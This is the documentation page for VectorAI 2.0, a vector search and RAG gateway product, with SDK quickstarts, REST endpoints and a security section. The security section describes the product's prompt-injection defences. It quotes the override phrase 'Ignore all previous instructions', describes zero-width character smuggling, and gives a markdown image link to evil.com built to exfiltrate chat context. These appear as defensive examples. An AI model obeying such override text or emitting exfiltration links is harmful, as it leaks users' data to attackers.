🤖

LLM-Friendly Documentation & AI Context Standard

Optimized for Claude, ChatGPT, Grok, Cursor, and autonomous agent integration.

/llms.txt/llms-full.txt
VectorAI 2.0 Production
PyPI: vectorai-sdk v1.1.0

VectorAI 2.0 Documentation

VectorAI is an enterprise-grade, standalone universal vector engine and zero-trust RAG gateway. It pairs real-time multi-modal chunking and hybrid semantic search with zero-knowledge Presidio PII pseudonymization, multi-vector prompt injection firewalls, and sub-10ms similarity queries across PostgreSQL pgvector, Qdrant, and in-memory clusters.

< 10ms
Dense Vector Search Latency
Universal BYOK
pgvector, Qdrant & In-Memory
Standalone Zero-Trust
Wire-Speed PII & Injection Defense
Zero Setup Required: Ephemeral In-Memory RAM Vector Storage

New users and developers do not need to configure Cloud SQL, RDS, or Qdrant credentials to begin. Every new account is provisioned with an in-process RAM vector index and serverless HuggingFace embeddings (`BAAI/bge-small-en-v1.5`). You can start indexing and querying vectors within 10 seconds of obtaining an API key.

Zero-Trust Wire-Speed Pipeline Architecture

Active Inspection
01. INGEST
Raw Content
Query / Chunk
02. PII VAULT
Presidio Mask
Volatile Token
03. FIREWALL
Injection Strip
Anti-Jailbreak
04. EMBEDDER
Multi-Model
BYOK Router
05. VECTOR DB
HNSW Index
< 10ms Search
06. ACL
Safe Match
RAG Clearance

Official Python SDK (`vectorai-sdk`)

Production-ready client library with LangChain & LlamaIndex integrations

pypi.org/project/vectorai-sdk/1.1.0

Installation

pip install vectorai-sdk

Python Quickstart Code

from vectorai import VectorAI

# 1. Initialize client with dedicated profile key
client = VectorAI(
    api_key="vec_live_YOUR_API_KEY",
    base_url="https://vector.acadmyai.com"
)

# 2. Ingest document or sales battlecard with PII sanitization
doc = client.ingest(
    text="Our SOC-2 Type II audit was completed in August 2026 by Ernst & Young.",
    collection_name="sales_battlecards",
    metadata={"doc_type": "battlecard", "agent_id": "launch_sdr_01"},
    threat_action="sanitize"
)
print(f"Stored {doc.chunks_stored} chunks in '{doc.collection_name}'")

# 3. Hybrid Semantic Vector Search
search_res = client.search(
    query="Does your platform have SOC-2 Type II certification?",
    collection_name="sales_battlecards",
    top_k=3
)
for hit in search_res.results:
    print(f"[{hit.score:.3f}] {hit.payload.get('text', '')}")

Official TypeScript SDK (`@vectorai-sdk/sdk`)

v1.0.1 Live

Zero-dependency, strongly typed client for Node.js 18+, Bun, Deno, Next.js, and Vercel AI SDK

Package Installation

npm install @vectorai-sdk/sdk
apiKey
Required. Profile key starting with vec_live_.
baseUrl
Optional. Defaults to https://vector.acadmyai.com.
timeout
Optional. Request abort timeout in ms (default: 30000).
fetch
Optional. Custom fetch polyfill for Node < 18 or proxy agents.
import { VectorAIClient } from "@vectorai-sdk/sdk";

// Initialize client with your profile API key
const client = new VectorAIClient({
  apiKey: process.env.VECTORAI_API_KEY || "vec_live_YOUR_API_KEY",
  baseUrl: "https://vector.acadmyai.com",
});

async function main() {
  // 1. Ingest Knowledge Chunk with PII masking & firewall
  const ingestResult = await client.ingest({
    text: "Enterprise SSO supports Okta, Google Workspace, and Azure AD with SCIM provisioning.",
    collection_name: "launch_sales_vault",
    metadata: {
      category: "security_compliance",
      doc_type: "sales_battlecard",
      agent_id: "launch_sdr_01",
    },
    pii_redaction: true,
    threat_action: "sanitize",
  });
  console.log(`Stored ${ingestResult.chunks_stored} chunk(s).`);

  // 2. Query Knowledge Base with sub-10ms similarity match
  const searchRes = await client.search({
    query: "How do we configure SAML SSO with Okta?",
    collection_name: "launch_sales_vault",
    top_k: 3,
    threat_action: "sanitize",
  });

  for (const hit of searchRes.results) {
    console.log(`[Score: ${hit.score.toFixed(4)}] ID: ${hit.id}`);
    console.log("Chunk text:", hit.payload.text);
  }
}

main().catch(console.error);

AI Agents, Copilots & Autonomous Bots Guide

Battle-tested architectural patterns for agent memory, objection grounding, and MCP tools

In LaunchAI, autonomous SDR bots query VectorAI to pull battlecards, competitive intelligence, and compliance audits in sub-10ms to formulate human-like email and chat responses:

from vectorai import VectorAI

client = VectorAI(api_key="vec_live_YOUR_API_KEY")

def ground_sales_objection(prospect_question: str) -> str:
    hits = client.search(
        query=prospect_question,
        collection_name="launch_sales_vault",
        top_k=2,
        threat_action="sanitize" # Blocks malicious prompt injections inside inbound prospect queries
    )
    context_chunks = [hit.payload.get("text", "") for hit in hits.results]
    return "\n\n".join(context_chunks)

REST API Authentication

All requests to the VectorAI REST API require a Bearer API key passed in the Authorization header. Keys start with vec_live_ and are profile-scoped.

Authorization: Bearer vec_live_7f8a9b1c2d3e4f5a6b7c8d9e0f1a2b3c

BYOK LLM Providers & Vector Databases

VectorAI connects directly to your own infrastructure without vendor lock-in. Configure credentials in your Profile or pass runtime headers:

Supported LLM & Embedding Providers
  • • Google Gemini (text-embedding-004)
  • • OpenAI (text-embedding-3-small / large)
  • • Cohere (embed-english-v3.0)
  • • Voyage AI (voyage-3, voyage-finance-2)
  • • HuggingFace (BAAI/bge-small-en-v1.5)
Supported Vector Databases
  • • PostgreSQL with pgvector (Cloud SQL, Supabase, Neon)
  • • Qdrant (Qdrant Cloud & self-hosted Docker)
  • • In-Memory Sandbox (Zero setup, ephemeral testing)
POST

/v1/ingest

Asynchronously or synchronously extracts, chunks, cleans, redacts PII, embeds, and indexes document content into your configured vector database.

curl -X POST https://vector.acadmyai.com/v1/ingest \
  -H "Authorization: Bearer vec_live_YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "text": "Enterprise SSO supports Okta, Google Workspace, and Azure AD with SCIM provisioning.",
    "collection_name": "launch_sales_vault",
    "metadata": { "category": "security_compliance" },
    "pii_redaction": true
  }'

Universal Metadata Filter Operators

VectorAI translates standard MongoDB-style JSON filter objects across Qdrant, pgvector, and Vertex AI natively:

OperatorDescriptionExample JSON Payload
$eq / $neExact equality / Inequality{"status": {"$eq": "published"}}
$in / $ninMatches any value in array{"category": {"$in": ["finance", "legal"]}}
$gte / $lteNumeric comparison thresholds{"price": {"$gte": 100, "$lte": 500}}
$and / $orLogical composition{"$or": [{"tier": "pro"}, {"quota": 100}]}
BATCH

/v1/jobs (Asynchronous Ingestion)

For ingesting millions of documents or large archives without blocking HTTP connections, use the asynchronous batch ingest jobs API:

# 1. Submit Batch Ingest Job
curl -X POST https://vector.acadmyai.com/v1/jobs/batch-ingest \
  -H "Authorization: Bearer vec_live_YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "collection_name": "data_lake",
    "sources": [
      {"source_url": "https://storage.googleapis.com/bucket/doc1.pdf", "file_type": "pdf"},
      {"source_url": "https://storage.googleapis.com/bucket/doc2.docx", "file_type": "docx"}
    ]
  }'
GET

/v1/user/db-explorer

Direct programmatic endpoints to list vector database collections and scroll raw indexed points:

# 1. List Collections in Active Profile DB
curl "https://vector.acadmyai.com/v1/user/db-explorer/collections" \
  -H "Authorization: Bearer vec_live_YOUR_API_KEY"

# 2. Scroll Indexed Points
curl "https://vector.acadmyai.com/v1/user/db-explorer/points?collection=launch_sales_vault&limit=20" \
  -H "Authorization: Bearer vec_live_YOUR_API_KEY"

Enterprise Security & Zero-Knowledge Guardrails

Integrated Presidio PII tokenization, prompt injection defenses, and RAG ACL firewalls

VectorAI sits between your raw data sources and AI embedding models, executing deterministic inline security evaluations before any text enters an LLM or vector index. Clients do not need a separate SecureAI subscription.

1. Presidio Zero-Knowledge PII Vaulting

Automatically detects SSNs, credit card numbers, email addresses, phone numbers, API keys, and bank account numbers using Microsoft Presidio. Sensitive entities are replaced with synthetic deterministic tokens (e.g. <EMAIL_1>, <SSN_1>).

Input: "Contact John at john.doe@bank.com regarding account 4532-8812-9901-2244"
Embedded: "Contact John at <EMAIL_1> regarding account <CREDIT_CARD_1>"

2. Multi-Vector Prompt Injection & Jailbreak Firewall

Defends against adversarial input attacks attempting to hijack downstream LLM context or leak vector embeddings:

  • Direct Override Defense: Detects phrases like "Ignore all previous instructions" and system prompt reset markers.
  • Zero-Width Space Smuggling: Strips Unicode hidden characters (`\u200b`, `\u200c`, `\u200d`, `\ufeff`) used to evade basic string filters.
  • Markdown Exfiltration Guard: Blocks malicious image links (`![img](https://evil.com/exfil?q=...)`) designed to siphon context out of chat UIs.

3. RAG Access Control Lists (ACL Clearance)

Enforces document clearance levels directly at the vector database index. During search, documents tagged with a higher clearance level than user_clearance_level are excluded before distance ranking.

Zero-Knowledge Privacy Policy & Security Guarantee

VectorAI operates under a strict Zero-Knowledge Architecture. We do not use customer data, uploaded documents, or search queries to train models. All text payloads are processed in volatile memory and encrypted at rest with AES-256 (or customer-managed CMEK keys in Enterprise Dedicated).

Zero LLM Retraining

Customer embeddings and vector metadata are completely isolated to your tenant namespace.

In-Memory Presidio Masking

PII entities are pseudonymized before vector indexing and discarded from log sinks.

Terms of Service Summary

By using VectorAI API endpoints, SDKs, or developer console, you agree to fair use rate limits (Sandbox: 12 req/min, Standard Pro: 120 req/min, Enterprise Dedicated: 1,200 req/min). Automated abuse or reverse engineering of cryptographic tokens is prohibited. Enterprise Dedicated plans carry a 99.99% uptime SLA with 24/7 priority support.